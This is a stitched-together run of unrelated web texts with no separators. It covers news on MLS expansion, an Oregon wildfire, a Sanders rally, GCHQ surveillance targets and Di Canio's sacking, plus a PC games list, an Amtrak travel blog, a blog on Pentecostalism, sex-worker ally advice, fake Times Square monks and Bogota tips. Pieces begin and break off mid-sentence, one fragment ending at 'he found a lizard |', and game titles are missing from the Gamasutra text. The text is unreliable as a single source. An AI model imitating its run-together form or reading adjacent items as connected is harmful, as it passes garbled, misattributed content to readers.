MLS Commissioner Don Garber said: "The ownership group's commitment to soccer and the community, the area's growing millennial population and the region's rich tradition of supporting soccer at all levels in Minnesota were key indicators that this was the right market."
Garber recently said consideration will be given to expanding "beyond 24 clubs" as groups from Sacramento, Las Vegas, San Antonio and St Louis have made pitches for inclusion.
A Miami proposal underpinned by potential owners David Beckham and Simon Fuller is also under consideration but requires authorities in the city to sanction the building of a new stadium.The nation's top-priority fire rages four miles from the Chetco Brewing Company and the brewery has been under a get-out evacuation order for about a week.
No matter. The beer must be brewed. Firefighters understand that.
"The National Guard has been really good to us," Chetco Brewing co-owner Alex Carr-Frederick said Friday, explaining the need to drive past safety checkpoints, "because we've had to check fermenters."
The brewery sits in the path of the Chetco Bar fire in an unincorporated area outside the southwest Oregon coastal community of 6,500.
Several outer areas have been under the top evacuation warning -- Level 3 -- for days, but the city proper had escaped an evacuation notice until Thursday.
That's when the fire moved about 5 miles northeast of Brookings and authorities issued the lowest-level alert (prepare to leave -- Level 1) for town residents.
The declaration was the latest indication of the seriousness of the Chetco fire, which authorities now rank as the No. 1 firefighting priority in the country.
Gov. Kate Brown arrived in Brookings later Friday and received a briefing from fire officials. She thanked firefighters for their work and residents for their cooperation. She urged people to remain ready to move at a moment's notice.
"Fire situations can get dangerous very quickly and we need everyone in this community to remain on their toes and to remain extremely cautious," Brown said.
Authorities were especially concerned about the potential impact of the wind-whipping "Chetco Effect" – a weather pattern that brings warm, dry air from inland down through valleys and out to sea. Similar conditions are blamed for vastly expanding the size of the fire last weekend.
The National Weather Service has issued a fire weather watch for the fire area, with strong, gusty winds (10-15 mph with gusts up to 25mph) and low relative humidity expected from 7 p.m. Friday through 11 a.m. Saturday.
Press briefing in Brookings on the Chetco Bar Fire Posted by Governor Kate Brown on Friday, August 25, 2017
The fire, believed to have been caused by lightning, began July 12 on a quarter acre. It has grown to 102,333 acres and nearly 1,400 people are fighting the fire.
And as Carr-Frederick and her husband, Michael Frederick, strive to ensure their business survives, they're also looking out for those firefighters.
In addition to their brewery, the couple operate the Chetco Brewing Company Tap Room in town. The pub has a popular pay-it-forward-style "Gift a Beer" promotion, where customers can buy a $5 beer for somebody to be redeemed in the future.
Two days ago, the pub launched a Gift a Beer exclusively for firefighters, at $4 each.
"We've had 240 beers purchased online," Carr-Frederick said, noting that buyers have been as far away as Germany, Texas and Minnesota. Only 11 beers have been claimed thus far.
Firefighters have told her the brewery's location -- next to the Chetco River -- makes it likely to survive. Nevertheless, the firefighters also have mentioned a variety of measures that could be taken to ensure the survival of the 900-square-foot brewery that now holds about 450 gallons of beer.
The prognosis was somewhat comforting for the brewery because it's preparing its entry this weekend to meet a deadline for the upcoming Great American Beer Festival in October in Denver.
Carr-Frederick said she's most concerned about people living in elderly care facilities in Brookings as well as animal shelters.
"Where are they going to go?" she wondered.
Earlier Friday, Brookings City Manager Gary Milliman noted that preparations for a possible evacuation have been underway in the community near the California border for more than a week.
That has included "getting our water system ready, making sure the water storage capacity is maintained at the highest possible level," Milliman said. "We are encouraging citizens to conserve water and to take note that there is a threat."
Milliman praised the coordinated firefighting team of the Oregon State Fire Marshall, U.S. Forest Service, Oregon Department of Forestry and Coos Fire Protection Association. "They're working well," he said.
Milliman said the Level 1 evacuation notice encourages residents "to work on things like developing a family emergency plan and thinking about where they might go if they had to evacuate and how they would secure their home."
He also said he has seen several examples of neighbors helping neighbors, particularly residents opening their homes to people living in unincorporated areas who have been evacuated from their homes.
"I have observed many travel trailers parked on property around town that are occupied by evacuees," he wrote.
--Allan Brettman
503-294-5900
@allanbrettmanCOLUMBUS, Ohio - Senator Bernie Sanders spoke at a rally about health care in Columbus on June 25.
According to the event's registration, Sanders (I-VT) was in Columbus to try and convince Senator Rob Portman (R-OH) and Republicans to vote against the proposed health care legislation.
The rally was held at Express Live at 405 Neil Avenue in Columbus.
Senator Portman released this statement Thursday about the health care legislation:
“As I’ve said previously, the Affordable Care Act is not working for many Ohio families and small businesses. My goal is to create a more workable system that lowers the cost of coverage, provides access to quality care, and protects the most vulnerable in our society. There are some promising changes to reduce premiums in the individual insurance market, but I continue to have real concerns about the Medicaid policies in this bill, especially those that impact drug treatment at a time when Ohio is facing an opioid epidemic.
“I look forward to examining this new proposal carefully and reviewing the analysis by the Congressional Budget Office when it is available. If the final legislation is good for Ohio, I will support it. If not, I will oppose it. As this process moves forward, I will continue to work to protect Ohio’s interests and ensure that our health care system works better for all Ohioans.”5. Rift, Trion Worlds
4. Atom Zombie Smasher, Blendo Games
3. The Binding of Isaac, Edmund McMillen and Florian Himsl
2. Minecraft Version 1.0, Mojang
1. The Witcher 2: Assassins of Kings, CD Projekt RED
Honorable Mentions:
In 2011, the definition of a "PC game" became increasingly hard to quantify. Indies are flourishing in the space more than ever, and a number of popular PC games are making their way to consoles or even mobile devices. With so many options out there, it became harder to define the quintessential "PC" experience.While PC gaming, by its loosest definition, includes any game that can be played on a PC, this year Gamasutra chose to only highlight games that are available exclusively on the platform. That means no iOS ports, no console ports, just a single PC release as of 2011.If there's anything that defines the year's best offerings on PC, it's breadth. All of the titles on our list are worlds apart from each other, ranging from small indie projects to full scale, big budget MMOs. In the end, that variety is part of the beauty of such an open and unrestricted platform.Absent from this list is Electronic Arts and BioWare's highly-anticipated MMO, which is set to officially debut on December 20th. We don't think its possible to evaluate a large-scale MMO in just a few days, so unfortunatelywill have to sit this one out.Here are our picks for the top 5 PC exclusives of 2011:With so many online games adopting the free-to-play model, it's become exceedingly rare to see a traditional, subscription-based MMO. Trion Worlds' Rift, however, is one of those exceptions, and it has managed to find success by sticking to its guns and offering an ambitious, full-scale MMO that justifies its traditional pricing structure.Outside of its business model,stands out from the MMO crowd with a game world that's constantly changing, allowing the balance of power between monsters and players to shift at many moment. When the game's titular rifts open to introduce an army of monsters into one of the game's zones, players are given the option to team up as a public group to conquer the threat as a team.This dynamic variation of a traditional MMO framework introduces an exiting layer of unpredictability to the game, and does a great job at encouraging players to play together -- which, after all, is the basic idea behind an MMO.Blendo Games'proves that real-time strategy doesn't need to rely on lighting-fast reflexes or perfect dexterity. Rather, it's a game that encourages thoughtful strategy and impeccable timing to save the population of Neuvos Aires from the out of control zombie outbreak.In the game, players take a bird's eye view over city districts, and send out helicopters, plant turrets and otherwise take measures to save and protect citizens from the undead horde (represented by abstract, yet still terrifying, purple dots). It's a unique approach to tower defense that constantly has you scrambling to rescue as many people as possible before the city is inevitably overwhelmed.It's simple, it's abstract, but that's part of its beauty.strips away the complex layers of real-time strategy to create a game that really reminds you what makes the genre so great in the first place.Difficulty can be a dangerous element of game design. If your game's too hard, players will get scared away; if it's too easy, it won't hold their attention., a collaboration between's Edmund McMillen and indie dev Florian Himsl, strays on the high end of the difficulty scale, but still finds that perfect balance where you feel compelled to give things another try.The game follows a traditional roguelike structure, where you fight your way through a labyrinthian series of dungeons, where death is permanent. That's right; die once, and you have to start from the very beginning. With such consequences hanging over your head, each encounter carries much more weight.Of course, as a roguelike,features randomized maps, which means that even though you might suffer might die over and over, you'll never quite know what to expect on subsequent attempts.Sure,has been playable for some time now, but in 2011 we saw the game's official debut, and Notch and the team at Mojang have transformed the game considerably over the last year. The game has grown from a construction and survival-based playground into a shockingly deep suite of creative tools featuring new tools, monsters, and even single-player features like quest systems and a definitive end-game.With all of these new additions, the game has continued to spawn an increasingly impressive array of in-game creations -- players have even found a way to play Minecraft within Minecraft! The game is a real exercise in creative expression, and few other games even come close to the freedomallows its players.With all of the exciting growth the game has seen leading up to its launch, we can't wait to see what happens withnow that it's seen its official launch.There are a number of reasons whyearned our top spot for 2011. Its well-realized world, ambiguous moral choices, complex combat system, and lengthy campaign are just a few factors that put this ambitious action role-playing game above the competition.Perhaps the most interesting element ofis its bold approach to player choice. At key points throughout the game, players are forces to make sweeping decisions that will affect hours and hours of game content, leaving some areas completely unexplored. Considering the amount of work that went into creating the world of the Witcher, it's impressive that CD Projeckt RED had the guts to withhold so much content from players on their first playthroughs.In another exciting, if risky move,puts a lot of trust in the hands of its players, leaving it up to them to explore and master the game's combat and myriad other systems. While it's no doubt challenging at the onset, there's something special in learning to interweave traps, magic, potions, and swordplay to overcome the game's greatest challenges. Of course, since the game's release, CD Prokect RED has added new tutorials and eased the game's steep learning curve, making it even easier to jump into the shoes of Geralt of Rivia., Related Designs, Mode 7 Games, Re-Logic, Nadeo, FrozenbyteOn March 11th in Chicago, the people of that city made a clear statement that they would not allow the rhetoric of hatred and bigotry espoused by the Trump campaign to go unanswered. Thousands of people came together to successfully shut down Trump's scheduled rally in their city. If there were similar efforts in every area where he attempted to hold one of his large rallies we could shut down more of his events. Trump's rallies are a key to his campaign. He has no access to voter data or ability to organize volunteers and voters without them. If we shut them down, then we can make progress to shutting his campaign down.
Progressive Maryland is therefore calling to the people of our state to help ensure that Trump never stands behind a podium in our state during this election cycle. If there is a Trump rally scheduled in Maryland, or even a nearby jurisdiction, we are calling for people to peacefully protest and disrupt the event in such a way that it is impossible for it to move forward. We hope that our allies and in other states will follow with a similar call to the people of their states, so that Trump's rallies are effectively shut down, and his primary mechanism of organizing is permanently disrupted.
Sign up below if you will join us in stopping Trump's campaign from organizing a rally in Maryland!While in college, I wanted to come home for Christmas but the flights from Missoula to Detroit were in the neighborhood of $600. The train from Whitefish to Ann Arbor was under $200. For my parents, who were paying, the choice was easy.
It takes approximately 36 hours to travel by train from Whitefish MT to Ann Arbor MI. There are many stops along the way, with people coming and going all the while. I made the trip several times (round trip) while attending the University of Montana.
The Empire Builder runs from the Pacific Northwest to Chicago. I would board the train near Glacier National Park in the town of Whitefish Montana. Before even stepping foot on the train I would have already driven through the Mission Mountains and around the stunning Flathead Lake (The largest freshwater lake west of the MIssissippi River), while making the 3 hour trek to Whitefish.
Once on the train, I met many interesting people from around the country and world. One memorable encounter was a night of drinking whiskey with a mexican muralist that was traveling to Chicago to work on an outdoor art project. He spoke poetically about his life as an artist in mexico and as a thank you for the whiskey, he sketched a drawing of me.
The Empire Builder starts off heading through Glacier National Park and some of the prettiest mountains in the Rockies, it's a fantastic way to start a trip. The train travels for about 30 hours with many, MANY stops along the way, finishing in Chicago. It's a really interesting juxtaposition to begin your journey in the heart of the American Rockies and end it in the heart of one of her largest cities. You essentially trade mountains for sky scrapers and I always felt that the majesty they both command is quite similar.
In Chicago I would jump on the Twilight Limited which would then take me to Ann Arbor. A memorable encounter on the Twilight Limited led to an early return to Chicago to spend a weekend with a girl I met on the train. -Thank you Amtrak.
Some tips on taking the Empire Builder:
1. Bring Food, lots of it. Not just for you, but for other people too. First time, cross-country train travelers will often forget to bring food and it's a nice thing to be able to share. Coolers are okay to bring on board. -Food on the train is expensive
2. Bring Whiskey - Everyone loves whiskey. Not acceptable to have an open bottle of whiskey. Bust out that flask you never use.
3. If you are a smoker be advised that the smoking car is possibly the most disgusting thing I've ever encountered. If you are a non-smoker, it doesn't matter… you'll still get whiffs.
4. Bring a sleeping bag and a pillow. Perhaps a sleeping "pad".
5. At night, go in to the Observation Car and sleep. There is a good 2 feet space between the chairs and the glass and you can sprawl out on the ground. This is way more comfortable than sleeping in your normal seat, plus you don't have to fend off people trying to take the empty seat next to you. -Valuable real estate as the train fills and you want to stretch and sleep.
6. Bring water. Lots.
7. Be prepared for strange smells.
8. Bring playing cards
9. Meet people. The train is a great place to be social, you have just enough time to get to know someone well. Planes don't provide this and people rarely stay in touch after meeting on a flight. I have corresponded at least two people that I've met on the train.
10. If you run out of the whiskey, if you hurry, there is a stop in one of the Dakota's right next to a bar and you can run out, in to the bar and they'll sell you a bottle ;-) But hurry... they will leave without you.
Happy tracks!
Have any of you ever made a similar trek in the US? How about in Europe? I've never traveled euro-rail but I've heard good things. I'd be interested in hearing about the differences. I imagine the difference is night and day.• Unicef and Médecins du Monde were on surveillance list • Targets went well beyond potential criminals and terrorists • Revelations could cause embarrassment at EU summit
British and American intelligence agencies had a comprehensive list of surveillance targets that included the EU's competition commissioner, German government buildings in Berlin and overseas, and the heads of institutions that provide humanitarian and financial help to Africa, top-secret documents reveal.
The papers show GCHQ, in collaboration with America's National Security Agency (NSA), was targeting organisations such as the United Nations development programme, the UN's children's charity Unicef and Médecins du Monde, a French organisation that provides doctors and medical volunteers to conflict zones. The head of the Economic Community of West African States (Ecowas) also appears in the documents, along with text messages he sent to colleagues.
The latest disclosures will add to Washington's embarrassment after the heavy criticism of the NSA when it emerged that it had been tapping the mobile phone of the German chancellor, Angela Merkel.
One GCHQ document, drafted in January 2009, makes clear that the agencies were targeting an email address listed as belonging to another important American ally – the "Israeli prime minister". Ehud Olmert was in office at the time.
Three further Israeli targets appeared on GCHQ documents, including another email address understood to have been used to send messages between the then Israeli defence minister, Ehud Barak, and his chief of staff, Yoni Koren.
Prominent names that appear in the GCHQ documents include Joaquín Almunia, a Spaniard who is vice-president of the European commission with responsibility for competition policy.
Britain's targeting of Germany may also prove awkward for the prime minister, David Cameron: in October, he endorsed an EU statement condemning NSA spying on world leaders, including Merkel.
They have both been in Brussels, attending an EU summit that concludes on Friday.
The names and details are the latest revelations to come from documents leaked by the whistleblower Edward Snowden. They provoked a furious reaction from the European commission, Almunia and others on the target lists.
• The commission said the disclosures "are unacceptable and deserve our strongest condemnation. This is not the type of behaviour that we expect from strategic partners, let alone from our own member states." Almunia said he was "very upset" to discover his name was on GCHQ documents.
• Leigh Daynes, UK executive director of Médecins du Monde, said he was "bewildered by these extraordinary allegations of secret surveillance. Our doctors, nurses and midwives are not a threat to national security. There is absolutely no reason for our operations to be secretly monitored."
• Another target, Nicolas Imboden, the head of an NGO that provides help to African countries, said the spying on him was "clearly economic espionage and politically motivated".
• Human Rights Watch, Privacy International and Big Brother Watch condemned the targeting.
• Labour said the committee that oversees GCHQ should be given extra powers.
The disclosures reflect the breadth of targets sought by the agencies, which goes far beyond the desire to intercept the communications of potential terrorists and criminals, or diplomats and officials from hostile countries. Asked about this activity, a spokesman for GCHQ said it was "longstanding policy that we do not comment on intelligence matters", but the official maintained the agency "takes its obligations under the law very seriously".
The new information is published after a joint investigation by the Guardian, the German news magazine Der Spiegel and the New York Times. According to documents, the targeting efforts involved programmes run from GCHQ's listening post near the small Cornish seaside resort of Bude. This is a key listening facility that receives substantial funding from the NSA to undertake shared transatlantic surveillance operations.
Among other activities, the base was tasked with monitoring satellite communications between Europe and Africa, and the papers show that Bude tested the value of new "carriers" used by telecoms companies to judge whether they would be worth intercepting.
According to documents, dated from 2008 to 2011, a unit at Bude did this by testing samples of data to see whether surveillance targets already on GCHQ and NSA databases were making use of the new connections.
If GCHQ analysts identified a carrier they thought could be useful, they would be asked: "Can this carrier be tasked on collection system?"
Providing more permanent surveillance would often depend on whether GCHQ had suitable software and, if not, whether it was possible to upgrade systems to make it possible.
Almunia is in charge of major anti-monopoly investigations and approving mergers of companies with significant presence in the EU. He has been involved in a long-running investigation into Google over complaints about the company's alleged stranglehold on online advertising. He has also clashed with Google and Microsoft over privacy concerns and was prominent in the EU's response to the global financial crisis.
Surveillance on such a senior EU official with a major role in economic affairs is bound to alarm other European nations, and raise concerns as to whether intelligence produced from Almunia or others is shared with the US – the NSA has a number of personnel at the base in Bude and contributes millions of pounds to its budget.
Another target was the French defence and logistics giant Thales Group, which is part-owned by the French government.
In all, communications from more than 60 countries were targeted in this particular operation, with other names listed in the GCHQ documents including Mohamed Ibn Chambas, the current African Union-United Nations joint special representative for Darfur, as well as multiple African heads of state.
Imboden, from the non-profit Ideas Centre in Geneva, and Solomon Asamoah, deputy head of the Africa Finance Corporation, also appeared on GCHQ's lists.
The documents do not give any insight into why GCHQ deemed them worthy of surveillance.
In 2009, Chambas was president of Ecowas. He had been closely involved in efforts to bring peace to Liberia, and GCHQ picked up text messages he sent while in the country to receive an award.
One message read: "Thanks Kwame. Glad to know all is well. Am in Liberia for receive National Award … inde celebration." A second added: "What machine gun sounds? Am in Gbanga former HQ of Charles Taylor …"
Offices operated by the UN development programme, which administers financial relief to poor nations, and of the World Health Organisation were also among listed targets.
The targeting of German government buildings may prove the biggest political headache for the UK. The documents show GCHQ targeting German government networks in Berlin, and official communications between Germany and Georgia and Germany and Turkey. Germany's embassy in Rwanda was also a target.
The papers seen by the Guardian do not disclose the extent of any surveillance or for how long any collection took place.
However, each individual or group had a specific ID number in the agency's "target knowledge base". This indicates they had been a deliberate target of surveillance efforts, rather than accidentally caught in a dragnet.
Unlike its US counterpart, GCHQ is entitled to engage in spying relating to economic matters, but only if it is linked to national security issues.
The 1994 Intelligence and Security Act says the agency can work "in the interests of national security, with particular reference to the defence and foreign policies of Her Majesty's government; in the interests of the economic wellbeing of the United Kingdom; and in support of the prevention and the detection of serious crime". However, critics have repeatedly called for a proper definition of "national security", and raised questions about what should be permitted to protect "economic wellbeing" beyond the need to help UK companies defend themselves against the theft of intellectual property or from cyber-attacks.
Documents show GCHQ has also been keen to break into global roaming exchanges (known as GRXs), which are centres that handle routing international mobile calls to the appropriate countries and phone networks. Belgacom, which Der Spiegel revealed this year was the victim of GCHQ hacking efforts, is one such international exchange.
One 2010 presentation referring to the agency's efforts against GRXs went on to note that "diplomatic targets from all nations have an MO [modus operandi] of using smartphones" and added the agency had "exploited this use at the G20 meetings last year". The Guardian in June revealed GCHQ had engaged in extensive surveillance efforts against G20 delegates in 2009, including in order to secure advantages in trade talks and bilaterals.
On Monday, the Guardian, Der Spiegel and the New York Times jointly approached GCHQ for comment. The agency would not go into any details but said: "One of the purposes for which GCHQ may be authorised to intercept communications is where it is necessary for the purpose of safeguarding the economic wellbeing of the UK." However, the code of practice made clear this had to be "directly related to state security. Interception under this purpose is categorically not about industrial espionage."
The NSA said: "As we have previously said, we do not use our foreign intelligence capabilities to steal the trade secrets of foreign companies on behalf of – or give intelligence we collect to – US companies to enhance their international competitiveness or increase their bottom line. The United States collects foreign intelligence just as many other governments do.
"The intelligence community's efforts to understand economic systems and policies, and monitor anomalous economic activities, are critical to providing policymakers with the information they need to make informed decisions that are in the best interest of our national security. As the administration also announced several months ago, the US government is undertaking a review of our activities around the world – looking at, among other issues, how we co-ordinate with our closest allies and partners."The Earth is a mysterious place. There is much going on around us every day that goes unexplained. For all our advanced technology and scientific understanding, there are events that occur, more or less, on a regular basis for which (as yet) we have no answers. Here is a list, in no particular order, of 10 of the most perplexing, documented phenomena that have baffled us for years—in some cases, decades and much longer.
In 1821, Tilloch's Philosophical Magazine carried an unusual item about a stone mason named David Virtue who made an astonishing discovery while working on a large chunk of rock that had come from about 22 feet below the surface. Upon breaking it open "he found a lizard |
the white emergentsia is like the relationship between hip-hop and suburban white kids. The crisis that Pentecostalism poses to the white emergentsia’s sense of legitimacy is analogous to the crisis white suburban teenagers would have if black people stopped listening to hip-hop and took up disco or something.
The Guatemalan dictator Efrain Rios-Montt is probably the most famous example of Latin American Pentecostalism that makes white emergentsia cringe. He took over Guatemala in a coup in 1982, basing his policy on his apocalyptic interpretations of the book of Revelation. He would hold national prayer meetings in the soccer stadiums in Guatemala City while his troops were slaughtering indigenous rebels in the mountains. He’s finally under house arrest but has never had to really pay for the crimes against humanity that he committed which were all endorsed by the elders of his Pentecostal megachurch.
There’s a tendency for white emergentsia like me and Tony to assume that patriarchal, egomaniacal autocrats like Rios-Montt are quintessential representatives of Latin American Pentecostalism. That, I suspect, is the basis for Tony’s cringe-worthy paternalistic statement that he “think[s] the nascent Pentecostalism practiced in much of the Global South would benefit from being in dialogue with the older, more developed theologies of the West.” It doesn’t make his statement right, but I think it’s helpful to acknowledge the probable back-story.
It’s very easy for white post-evangelicals who organize the world into a Cold War between us and the fundamentalists (e.g. Tony’s statement that “conservative, Reformed, penal substitutionary, anti-gay, anti-women evangelicals have been consistently kicking our asses in the public square”) to appropriate a surface-level assessment of Latin American Pentecostalism in which it’s entirely a conspiracy of the most egregious Reagan era far-right culture warriors in Pentecostal-land like Pat Robertson to keep the brown people poor by hypnotizing them with cheap, shiny magic tricks.
Basically we superimpose our intra-racial white religious battles on the entirety of the rest of the world assuming that they have to be on our side or the other side and they have to share the existential concerns of white Christianity. It doesn’t occur to us that Latin American Pentecostalism may have been kindled by white right-wing (or perhaps not even political at all) Pentecostal missionaries but it doesn’t necessarily have to share their political perspective because of the entirely different context in which it has been planted.
White rich people are going to appropriate an apocalyptic theology that feasts on signs and wonders in a completely different way with completely different motives than poor brown people. It also doesn’t occur to us that this may be a legitimate movement of the Holy Spirit and not just a Ralph Reed-orchestrated conspiracy to turn Latin America into a giant oil field and coffee plantation for the Koch Brothers to own.
One of the reasons I can’t buy into the oversimplified suspicion of Pentecostalism any more is because God decided to make me start speaking in tongues last fall, which I still haven’t figured out what to do with. It’s completely out of sync with who I always thought I was. Plus, I’ve been introduced to Pentecostals in the US like Jonathan Martin and Brian Zahnd who are preaching a purer gospel than I’ve found anywhere else. I’m definitely very ignorant of what’s really going on with Pentecostals in Latin America, but God has made it impossible for me to see them as “the other side.”
So all this is just to say there’s a lot more to learn and a lot more context to Tony Jones’s comments than just “privileged white guy acting ignorant.” Did he make some boneheaded statements? Yes. Did he handle things with the right posture and tone? No, and I haven’t either on many occasions. So instead of using this controversy as an opportunity to showcase how much more progressive and enlightened you are in your anti-oppression training than Tony Jones is, let’s dig into the underlying issues and try to find what God has to teach us.Paolo Di Canio was sacked by Sunderland on Sunday night after festering resentments among his players came to a head at an ill-tempered training-ground meeting on Sunday morning.
Di Canio, whose team had taken only one point from the season's opening five league fixtures, called the meeting to analyse the previous day's 3-0 defeat at West Bromwich Albion. When the manager criticised his players, he was answered back forcefully, with Lee Cattermole, the midfielder he stripped of the captaincy, believed to have told him the squad had lost faith in his controversial methods.
When details of the row were relayed to Ellis Short, Sunderland's owner, Di Canio's time was up. The Italian, noted for scathing public deconstructions of players, has gone less than six months after succeeding Martin O'Neill and after only 13 matches.
It is not thought that Short has a replacement lined up but considerable speculation surrounds the availability of Roberto Di Matteo and Gus Poyet.
"Sunderland AFC confirms that it has parted company with head coach Paolo Di Canio this evening," read a club statement. "Kevin Ball will take charge of the squad ahead of Tuesday night's Capital One Cup game against Peterborough and an announcement will be made in due course regarding a permanent successor. The club would like to place on record its thanks to Paolo and his staff and wishes them well for the future."
Ball, the youth team coach, and an abrasive former Sunderland midfielder of the type Di Canio urgently required, is not likely to be in post for long. Short is expected to move swiftly, with Di Matteo, the former West Bromwich Albion and Chelsea manager, and Poyet, until recently in charge of Brighton, among the favourites. Roberto Mancini, out of work after leaving Manchester City, has previously expressed interest in the job but would probably be beyond Sunderland's budget. Meanwhile Steve McClaren, currently helping Harry Redknapp coach Queens Park Rangers, ranks as an outsider.
Di Canio can count himself unlucky after being asked to incorporate 14 summer signings made by Roberto De Fanti, the club's director of football. Of those recruits 13 were foreign and only five had previous Premier League experience.
Their failure to communicate properly forfeited a series of goals – and points – at set pieces, with the former Swindon manager's willingness to highlight players' errors in public drawing widespread criticism.
Di Canio was adamant that, given time, his bold attacking game plans – 4-2-4 was the favoured formation – would pay dividends and his strict new disciplinary regime would transform Sunderland's fortunes.
Short disagreed but how the Italian must rue his board's failure to bow to repeated requests to sign Tom Huddlestone from Tottenham last month. Instead the powerful midfielder is shining at Hull.
Di Canio's successor faces a considerable challenge as he endeavours to repair shattered morale and steer Sunderland clear of relegation waters.Most women have strong feelings about the sex industry, be they for or against. (And many, of course, remain undecided.) When dealing with such an emotionally volatile topic, it’s easy to inadvertently silence or even insult sex workers themselves. (As a participant in sex worker activism for the past four years, I’ve seen that in action and on the page.) There’s a way to debate commercial sex while respecting the industry’s laborers. Here are some suggestions:
1) Don’t diminish or mock sex workers’ agency. When discussing a person coerced or forced into sex work, a sensitive recognition of the violation they’ve suffered is definitely in order. However, it’s important to let individuals themselves make this distinction, rather than automatically assigning them a label that indicates lack of agency. For instance, referring to all sex workers as “prostituted” or “used” can be violating in and of itself if the person identifies their work as a free choice.
Similarly, language implying that sex workers are defiled or disgusting will quickly alienate them—for instance, calling porn an “institution that systematically uses the bodies of subordinate groups as sheer sexual objects at best, and open toilets at worst,” as this Ms. blog comment does. Even abused workers don’t want the public analogizing them to waste receptacles.
There’s a way to recognize the indignities wrought upon another human being without furthering those indignities. For example, insisting that every paid act of sex is rape, regardless of how the person being paid labels it, implies that her failure to label it rape is a personal failure. No sex worker deserves to be demonized for asserting the nature of her own experiences.
2) Don’t assume your problems with the sex industry are the industry’s only problems. Some of the most time-honored criticisms of the sex industry—it solidifies patriarchy or commodifies female sexuality—are significant considerations. But they may not be top concerns among sex workers themselves, who are usually more interested in avoiding harassment or abuse at the hands of law enforcement, finding the safest possible workplace and earning a livelihood. As sex worker and artist Sadie Lune has said, “Stop punishing me just because you may not be able to imagine being me.”
3) Use language with care. Some escorts might refer to themselves as “whores” or call their friends “hookers,” but sex workers don’t trust someone outside the industry employs those words. “Sex worker” was conceived as a judgment-neutral term and is usually a safe bet if you’re unsure of what phrase would be most respectful. Some anti-industry pundits object to it on the grounds that it “legitimizes” prostitution, stripping or performing in porn. But it’s important not to use your complaints about the industry as personal attacks on everyone within it. The workers in question are “legitimate” human beings, and any framework that doesn’t recognize that needs reconfiguring.
4) Educate yourself. If you’re going to be vocal about a matter that affects countless people around the globe, inform yourself about it. Visit the websites and blogs of sex workers, activists and allies, not just here in the U.S. but abroad as well. (Sex-workers movements are active in India, Argentina, Taiwan and Sweden, to name only a few. Some resources are linked below.) Take into account the direct voices of sex workers and not just of theorists or politicians. If you see a statistic cited, check the source and examine the ways in which data was gathered. Be critical and compassionate in equal measures. Even if you take issue with the type of work they do, you’ll be sure not to trample on a sex worker’s dignity in the process.
Resources:
How to Be an Ally to Sex Workers
Asia Pacific Network of Sex Workers
International Union of Sex Workers
SANGRAM
ISWFACE
Bound, Not Gagged
Photo from Flickr user art makes me smile under Creative Commons 2.0.Former President George W. Bush is criticizing President Donald Trump's first month in office, though he remains optimistic about the future.
"I don't like the racism and I don't like the name-calling and I don't like the people feeling alienated," Bush told People magazine.
"Nobody likes that."
Despite the "ugly" political climate under Trump, Bush says he's "more optimistic than some."
"We've been through these periods before and we've always had a way to come out of it," he said.
Bush added that he won't be speaking out against Trump often. His presidential center, however, will be doing work to contrast Trump's policies.
"When President Obama got elected, friends would call: 'You must speak out! You must do this, you must do that.' Turns out, other people are doing the same thing this time," he said.
"I didn't feel like speaking out before because I didn't want to complicate the job and I'm not going to this time. However, at the Bush Center we are speaking up."
The Bush Center programs include immigration ceremonies, AIDS prevention programs in Africa and leadership training for Muslim women.
Bush's interview with People has been one of several in recent days in which he has commented on Trump.
The former president is doing a press tour to promote his book of portraits of American soldiers who fought in Iraq and Afghanistan.While New York’s finest have enough dignity to turn down Chen Guangbiao’s cash, it looks like Times Square’s newest swindlers do not.
Robed, self-proclaimed Buddhist monks have joined the eccentric ranks of Times Square, where they solicit donations from New Yorkers in exchange for blessings and amulets, The New York Times reports. The monks have been said to display trademark Buddhist virtues such as greed (when they deem donations too small), and aggression, which prompted the greater part of nine arrests of fake monks this year.
When questioned by actual Buddhists, pedestrians or reporters about what they are doing, they become silent and subsequently walk away or whip out a pixilated picture of a generic temple.
To celebrate the addition to Times Square, Facebookers have created a Fake Monks in New York City group as well as “extended Fake Monk Awareness Month”.
In China, fake monks are hardly a novelty and arrests are not unheard of. One notable example involved the closing of several temples last year on Mount Wutai, one of China’s four sacred mountains, after fake monks were used to swindle tourists. Hong Kong has also recently seen a rise in fake monks, spurring the creation of their respective Fake Monks in Hong Kong Facebook group. Australians were similarly warned about a country-wide fake Buddhist monk scam about six months ago.
Who these people are and what they actually do seems to remain a mystery due to their conspicuously reticent persona when faced with any question, but one thing is for sure: real Buddhists disapprove. Watch a pedestrian describe her experience in Times Square and one monk awkwardly scurry off when questioned by a reporter.
By Giulia Sciota
Follow @shanghaiistThis post outlines 5 Funky Things to do in Bogota. Perfect for anyone with a few days to kill in the Colombian capital.
5 Funky Things to do in Bogota
Why you should Visit…
Colombia’s kicking capital is one of the most rapidly changing cities on the planet and easily one of the most exciting in South America. With warm welcoming people and one or two novel ideas for how to entertain locals and the relatively few travellers that venture here, Bogota surprises you in ways you’d never have expected. It’s very much the beating heart of the new (and pretty safe) Colombia and its future looks brights.
1) Watch a football match at El Campin, Colombia’s National Stadium
Football is a national obsession in Colombia and the country has featured at the last two World Cups. Head down to El Campin to catch a game in the fiercely competitive league while you’re in town.
2) Visit the Police Museum to learn about Colombia’s violent War against the powerful Drug Cartels
Bogota’s National Police Museum is fantastic for those looking to delve into the countries recent troubles. One room houses a giant array of weapons seized during police raids on the Cartels over the past few decades. Another is dedicated in graphic detail to the hunt and eventual capture of the infamous druglord Pablo Escobar. You will be guided around by a serving police officer who will doubtlessly have a story or two to tell, especially if they were in the force during the violent 1990’s.
3) Hop on a bike and explore the city during the Sunday Ciclovia
One of the best ways to see the city is via the Ciclovia which takes place every Sunday. All morning and up until about 2pm many of the main avenues are closed to traffic allowing cyclists and rollerbladers to whizz around this vast metropolis without the risk of being wiped out by an impatient motorist. It can be tiring work especially in the uphill sections thanks to the altitude but there are refreshment stands all along the routes which are clearly marked. There are a few places in the traveller districts where you can rent out a bike fairly cheaply and it’s a good way of getting around and seeing Bogota.
4) Take the funicular (or teleferico) upto the top of the Cerro de Monserrate
For the best views of the city take a ride on the funicular. Only from the top of the Cerro de Monserrate will you truly be able to appreciate the city’s immense scale.
5) Head to Avenida Septima for a Friday night street Fiesta!
Colombia’s new-found optimism is most visible on Friday nights when Bogota’s populous head down into the centre to celebrate the end of the week. Despite its developing international financial districts this is still very much a Latin American city and they like nothing more than a good fiesta.
The major avenue that dissects the city (Avenida Septima) is closed to traffic every Friday night and quickly fills up with people as far as the eye can see as street performers, musicians and street stalls take over the city’s most famous street. As midnight approaches it is overflowing with increasingly drunk Colombians, many of whom then move onto the bars and discos around town. If you’re visiting Bogota, try and be in town for a Friday as these parties are great fun and extra special during holiday periods.
